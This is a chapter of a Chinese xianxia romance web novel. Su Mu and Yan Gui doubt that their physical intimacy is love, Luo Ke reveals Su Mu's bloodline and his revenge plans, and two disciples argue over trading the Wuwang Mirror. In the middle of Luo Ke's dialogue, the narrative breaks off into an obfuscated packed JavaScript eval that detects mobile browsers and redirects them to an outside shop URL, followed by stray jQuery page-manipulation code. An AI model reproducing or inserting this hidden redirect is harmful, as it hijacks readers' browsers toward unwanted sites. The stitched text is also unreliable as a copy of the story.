“那我呢,我对目标人物的好感度是多少?”
【系统无法检测到宿主的心意值。】
苏慕垂下眼眸,思绪开始放空。
无法检测到,是因为不喜欢吗?
苏慕不喜欢厌归吗?
可是她分明很喜欢厌归的身体,喜欢亲吻厌归,喜欢亲近厌归,喜欢逗弄厌归,喜欢厌归因为自己而充满情欲的眼睛,喜欢和厌归共赴云雨时,彼此滚烫的身躯相贴,对方那一声声的低喘。
看到厌归时总会觉得很平静,看到厌归受到冷落会下意识站他一边,看到厌归受伤时心脏会发痛,也总会下意识地纵容厌归的一切行为。
这些都算不上喜欢吗?
那什么又是喜欢呢?
苏慕想不明白,于是她问身下的人,“厌归,什么是喜欢?”
可她问错了对象,厌归也不知道。
他抬手轻轻抚摸着对方的头发,像在对待一件稀世珍宝,可眼中没有半分情意,“我很喜欢你的身体。”
喜欢黏着对方,喜欢和她亲吻,时时刻刻都想和她肌肤相亲,看到他人触碰到她时会控制不住情绪想杀人,会故意受伤让她心疼,想让她一直纵容自己。
哪怕是和她并肩站在一块,那颗心脏都会疯狂跳动。
语气里带着几分不确定,“我想,我应该是喜欢你的,苏慕。”
苏慕却笑着摇摇头,“不,我们都只是喜欢对方的身体。”
就像是低等动物的发情期,来势汹汹却总会有过去的一天。
他们也许是好奇,好奇地探索着对方的身体,放任自己在这情潮里沉溺失控,享受那片刻的欢愉。
可冰冷的数据告诉他们,那不是喜欢。
只是两个低等动物在□□,与牲畜无异。
他们之前的关系如何,苏慕不清楚,但此刻的他们,只是单纯迷恋对方的身体,仅此而已。
爱上自己后,便会死。
厌归,你我身上到底藏着什么秘密。
为什么你爱上我之后,会死呢。
先前她不觉得有什么,死亡一词对她而言,激不起她任何的情绪起伏,不过是有点不服,凭什么别人说你该死你便该死呢。自己的命,该紧紧握在自己手中才对。
可是此时,她静静地躺在厌归身上,内心深处竟然开始有点害怕。
如果他死了,掌下的心脏不会再跳动,身下的这句具身体会不再温暖,变得冰冷直至僵硬发青,慢慢地会长出尸斑,身体溃烂发臭,最后变成一具白骨。
再也不会对着她笑,不能再紧紧地抱着她,不能再亲吻她,也不能和她继续肌肤相亲,享受鱼水之欢的欢愉。
怎么可以呢。
“苏慕,你哭了吗?”厌归语气明显慌乱,伸手触碰上了苏慕的眼睛,那里已是湿润一片。
闻言,苏慕缓缓抬手,触摸到自己的脸。
果然如厌归所说,她哭了。
因为害怕对方死去,她哭了,从她有记忆以来,她明明从未哭过。
前所未有的恐惧涌上心头,苏慕趴在厌归身上,肩膀一抖一抖的,泪水瞬间浸湿了胸口处的衣服。
他没说话,只是将手放在苏慕的背上,轻轻拍着,泪水变成无数把锋利的刀刃,不断扎入他的心脏,早已遍体鳞伤,脑海中仿佛有什么东西要破土而出,可他始终抓不住半分。
眼底迸发出前所未有的杀意。
该死,造成这一切的人都该死!
哭累的苏慕直接睡了过去,厌归将她安顿好在床上后,推开门看着倚靠在一旁的洛轲。
“我们聊聊。”
还是之前的木屋,这次洛轲给厌归倒了一杯茶水,轻轻放在眼前。
厌归没接,单刀直入切到自己想知道的事情,“苏慕的身世,告诉我。”
洛轲摇头轻笑,“我以为你会问我你们之间的关系。”
没想到,却是问苏慕的身世。
厌归语气嘲讽,“我和她的关系如何,不用旁人告知。”
他们的身体会告诉他们答案,而不是由他人之口告知,那是他们的曾经,与他人何干。
洛轲摇摇头,眼神怀念,“这座黑山,曾是她的家,也是困住她的牢笼。”
厌归紧紧握着拳头,眼底泛红,“说清楚。”
“在这大陆的最北方,曾有这样一个大家族,他们血液特殊,生来便拥有自愈的能力,无论是多重的伤,都死不了。”
“他们的血液多于修行之人来说,是不可多得的珍宝,只需几滴血,修炼速度便会成倍增长,是常人的好几倍,于是这个大家族便成了世人眼里的稀世药材,仿佛取之不尽用之不竭,总归他们又死不了。”洛轲轻嘲道。
“可这血液特殊的背后,是他们修炼不了任何功法,只能做一个普通人。他们任人宰割,什么妖魔鬼怪都能轻易拿走他们的性命,就连那平凡的普通人,听闻他们的血可以延年益寿后,也拿起锄头对准了他们。”
“天底下哪里会有人能不死呢,他们的命穴,便是他们的心脏,而这心脏更是大补之物,可以生死人活白骨,于是他们成了所有人的目标,手无寸铁的他们开始四处躲避,直到一个接着一个死去。”
“而我和妹妹洛荣,便是这最后的血脉,后来妹妹和一个凡人在一起后也死了,可她竟然生下了一个小怪物,就生活在这黑山,她不仅拥有家族的特殊血脉,还是修炼的天才。”
不会有人知道,当年他在这黑山发现苏慕时,有多开心。妹妹搜罗一大堆修炼秘籍交到苏慕手上,不也是为了族人报仇吗。
洛轲的眼里隐隐带着激动,神色疯狂,“那可是千百年来的第一个可以修炼的孩子啊,这不正是上天给我们一族最后的机会,让我们得以报仇雪恨吗!”
苏慕,是他们最后的希望,她生来便背负着为族人复仇的责任。
“可她现在竟然失忆了,连带着道行尽失,变成一个普通人,不过这没有关系,我会让她想起来。”
等她找回了丢失的记忆和力量,他们便让那些曾经欺辱过他们的人讨债。
厌归眼底翻涌着怒意,腰间的无生叫嚣着,释放着杀意。
“她不是你复仇的工具。”
洛轲失声道:“你知道什么,为族人报仇是她苏慕应尽的责任,她身上流淌着洛氏一族的血,她就该为族人报仇!”
“而你,厌归,你也应该跟着我们一块复仇。”
“凭什么?”
“凭什么?”洛轲嗤笑道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473546|198498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“凭当年是苏慕救了你,凭你修炼之法全是她教给你,你早就跟我们上了同一艘船了,不是吗?”
厌归神情未变,慢条斯理道:“你也说是她救了我,那么我应该听她的话,杀了你。”
话音刚落,无生死死抵在洛轲喉间,厌归握着无生,唇角似笑非笑,“你该庆幸,苏慕没有明确杀你的意愿,不然此刻,你已命丧黄泉。”
“洛轲,这里不欢迎你。”这里是苏慕的家,而她讨厌这个人。
那他就应该替她赶走这个人。
“你放心,我会走的。”洛轲淡淡出声,并未对厌归的举动有什么不满。
毕竟,他怎么会跟同盟置气呢。
“这把剑叫无生吧,当真是锋利啊。”洛轲低头看着抵在喉间的剑身,指腹在这上面轻轻一划,鲜血瞬间流出。
表情从容,将指腹上的鲜血喂给缠在手腕上的黑蛇。
小黑蛇吐着信子舔舐着,喝饱后又乖乖躺在洛轲的手背上。
这把剑啊,当初就藏在这黑山之下,也不知苏慕是怎么发现的,竟让厌归这家伙拔出了剑。
这无生与无相啊,最是认主,传说还可通灵,可眼下看着对方眼底的一丝茫然,他又觉得这不过是一把寻常不过的剑,哪里有他的白骨通人性。
你看,他把沾满鲜血的指尖递到它的嘴边,它也只会收起毒牙吐着信子,乖乖舔舐着。
“厌归,你们会需要我的。”毕竟眼下,只有他能进到这孤城。
……
院子外的一颗树下站着两道身影,衣服都是淡雅的浅蓝色,如果忽略掉女子那紧皱的眉头,一高一矮瞧着倒是相配。
“师兄,你真要答应那洛轲,将无妄镜给对方吗。”他们此行,最为重要的便是拿到这无妄镜。
“师妹,眼下没有洛前辈的帮助,我们进不到这座孤城。”
邬暄的意思林洛梓又怎会不懂,在他师兄眼里,人人趋之若鹜的无妄镜比不过里面的众人。
林洛梓情绪激动,“师兄,进入孤城的都是些什么人你不是不知道,贪图荣华富贵,甚至那田升都是助纣为虐,帮着城主做事,这些人哪里值得用无妄镜来交换!”
“师妹,那也是几条人命。”再厉害的法器都是死物,哪里有人重要。
“里面的人都是些十恶不赦的坏人吗,田惠也在里面啊,在这件事情上,他最是无辜了,不是吗?”邬暄眼神难掩悲痛,语气加重了几分。
明明天资聪颖,是难得一见的天之骄子,本该生活在世人的赞叹下,却被怨灵活生生折磨,变成了一副人不人鬼不鬼的模样。
林洛梓张了张嘴,脑海里闪过那间小小的暗室,瞬间说不出一个字。
是啊,田惠最是无辜。
可那是无妄镜啊,上古法器,她怎么能将其交给一个来路不明的人。
“可是师兄,那洛轲明明知道进入孤城法子,但他却没有亲手去取这无妄镜,反而是和我们合作。”
“师兄,这难道不是一个阴谋吗,他要无妄镜又要做什么,将这无妄镜交到他手上,会不会有更多的人因为他而经历苦难,这些你有想过吗?”
林洛梓一字一句说道:“无妄镜可让死人复生,师兄,你真的想清楚了吗。”